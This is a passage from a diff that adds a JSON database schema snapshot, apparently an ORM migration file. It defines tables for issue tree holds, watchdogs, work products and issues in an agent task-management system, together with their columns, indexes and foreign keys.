+        "issue_tree_hold_members_hold_id_issue_tree_holds_id_fk": {
+          "name": "issue_tree_hold_members_hold_id_issue_tree_holds_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "issue_tree_holds",
+          "columnsFrom": [
+            "hold_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_tree_hold_members_issue_id_issues_id_fk": {
+          "name": "issue_tree_hold_members_issue_id_issues_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_tree_hold_members_parent_issue_id_issues_id_fk": {
+          "name": "issue_tree_hold_members_parent_issue_id_issues_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "parent_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_tree_hold_members_assignee_agent_id_agents_id_fk": {
+          "name": "issue_tree_hold_members_assignee_agent_id_agents_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "assignee_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_tree_hold_members_active_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_tree_hold_members_active_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "active_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_tree_holds": {
+      "name": "issue_tree_holds",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "root_issue_id": {
+          "name": "root_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "mode": {
+          "name": "mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "reason": {
+          "name": "reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "release_policy": {
+          "name": "release_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_actor_type": {
+          "name": "created_by_actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'system'"
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_at": {
+          "name": "released_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_by_actor_type": {
+          "name": "released_by_actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_by_agent_id": {
+          "name": "released_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_by_user_id": {
+          "name": "released_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_by_run_id": {
+          "name": "released_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "release_reason": {
+          "name": "release_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "release_metadata": {
+          "name": "release_metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_tree_holds_company_root_status_idx": {
+          "name": "issue_tree_holds_company_root_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "root_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_tree_holds_company_status_mode_idx": {
+          "name": "issue_tree_holds_company_status_mode_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "mode",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_tree_holds_company_id_companies_id_fk": {
+          "name": "issue_tree_holds_company_id_companies_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_tree_holds_root_issue_id_issues_id_fk": {
+          "name": "issue_tree_holds_root_issue_id_issues_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "root_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_tree_holds_created_by_agent_id_agents_id_fk": {
+          "name": "issue_tree_holds_created_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_tree_holds_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_tree_holds_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_tree_holds_released_by_agent_id_agents_id_fk": {
+          "name": "issue_tree_holds_released_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "released_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_tree_holds_released_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_tree_holds_released_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "released_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_watchdogs": {
+      "name": "issue_watchdogs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "watchdog_agent_id": {
+          "name": "watchdog_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "instructions": {
+          "name": "instructions",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "watchdog_issue_id": {
+          "name": "watchdog_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_observed_fingerprint": {
+          "name": "last_observed_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_reviewed_fingerprint": {
+          "name": "last_reviewed_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_observed_stop_snapshot": {
+          "name": "last_observed_stop_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_reviewed_stop_snapshot": {
+          "name": "last_reviewed_stop_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_triggered_at": {
+          "name": "last_triggered_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_completed_at": {
+          "name": "last_completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "trigger_count": {
+          "name": "trigger_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_run_id": {
+          "name": "updated_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_watchdogs_company_issue_uq": {
+          "name": "issue_watchdogs_company_issue_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_watchdogs_company_status_idx": {
+          "name": "issue_watchdogs_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_watchdogs_company_agent_idx": {
+          "name": "issue_watchdogs_company_agent_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "watchdog_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_watchdogs_company_watchdog_issue_uq": {
+          "name": "issue_watchdogs_company_watchdog_issue_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "watchdog_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_watchdogs\".\"watchdog_issue_id\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_watchdogs_company_id_companies_id_fk": {
+          "name": "issue_watchdogs_company_id_companies_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_issue_id_issues_id_fk": {
+          "name": "issue_watchdogs_issue_id_issues_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_watchdog_agent_id_agents_id_fk": {
+          "name": "issue_watchdogs_watchdog_agent_id_agents_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "watchdog_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_watchdog_issue_id_issues_id_fk": {
+          "name": "issue_watchdogs_watchdog_issue_id_issues_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "watchdog_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_created_by_agent_id_agents_id_fk": {
+          "name": "issue_watchdogs_created_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_watchdogs_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_updated_by_agent_id_agents_id_fk": {
+          "name": "issue_watchdogs_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_updated_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_watchdogs_updated_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "updated_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_work_products": {
+      "name": "issue_work_products",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "runtime_service_id": {
+          "name": "runtime_service_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "type": {
+          "name": "type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "external_id": {
+          "name": "external_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "url": {
+          "name": "url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "review_state": {
+          "name": "review_state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'none'"
+        },
+        "is_primary": {
+          "name": "is_primary",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "health_status": {
+          "name": "health_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "summary": {
+          "name": "summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_trust": {
+          "name": "source_trust",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_work_products_company_issue_type_idx": {
+          "name": "issue_work_products_company_issue_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_work_products_company_execution_workspace_type_idx": {
+          "name": "issue_work_products_company_execution_workspace_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_work_products_company_provider_external_id_idx": {
+          "name": "issue_work_products_company_provider_external_id_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "external_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_work_products_company_updated_idx": {
+          "name": "issue_work_products_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_work_products_company_id_companies_id_fk": {
+          "name": "issue_work_products_company_id_companies_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_work_products_project_id_projects_id_fk": {
+          "name": "issue_work_products_project_id_projects_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_work_products_issue_id_issues_id_fk": {
+          "name": "issue_work_products_issue_id_issues_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_work_products_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "issue_work_products_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_work_products_runtime_service_id_workspace_runtime_services_id_fk": {
+          "name": "issue_work_products_runtime_service_id_workspace_runtime_services_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "workspace_runtime_services",
+          "columnsFrom": [
+            "runtime_service_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_work_products_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_work_products_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issues": {
+      "name": "issues",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_workspace_id": {
+          "name": "project_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "parent_id": {
+          "name": "parent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'backlog'"
+        },
+        "work_mode": {
+          "name": "work_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'standard'"
+        },
+        "harness_kind": {
+          "name": "harness_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "priority": {
+          "name": "priority",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'medium'"
+        },
+        "review_policy": {
+          "name": "review_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "assignee_agent_id": {
+          "name": "assignee_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "assignee_user_id": {
+          "name": "assignee_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "checkout_run_id": {
+          "name": "checkout_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_run_id": {
+          "name": "execution_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_agent_name_key": {
+          "name": "execution_agent_name_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_locked_at": {
+          "name": "execution_locked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_number": {
+          "name": "issue_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "identifier": {
+          "name": "identifier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_kind": {
+          "name": "origin_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'manual'"
+        },
+        "origin_id": {
+          "name": "origin_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_run_id": {
+          "name": "origin_run_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_fingerprint": {
+          "name": "origin_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'default'"
+        },
+        "request_depth": {
+          "name": "request_depth",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "billing_code": {
+          "name": "billing_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "assignee_adapter_overrides": {
+          "name": "assignee_adapter_overrides",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_policy": {
+          "name": "execution_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_state": {
+          "name": "execution_state",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_next_check_at": {
+          "name": "monitor_next_check_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_wake_requested_at": {
+          "name": "monitor_wake_requested_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_last_triggered_at": {
+          "name": "monitor_last_triggered_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_attempt_count": {
+          "name": "monitor_attempt_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "monitor_notes": {
+          "name": "monitor_notes",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_scheduled_by": {
+          "name": "monitor_scheduled_by",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_preference": {
+          "name": "execution_workspace_preference",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_settings": {
+          "name": "execution_workspace_settings",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_trust": {
+          "name": "source_trust",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "unblock_descriptor": {
+          "name": "unblock_descriptor",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "blocked_transition_at": {
+          "name": "blocked_transition_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "blocked_owner_notified_at": {
+          "name": "blocked_owner_notified_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "completed_at": {
+          "name": "completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cancelled_at": {
+          "name": "cancelled_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "hidden_at": {
+          "name": "hidden_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issues_company_status_idx": {
+          "name": "issues_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
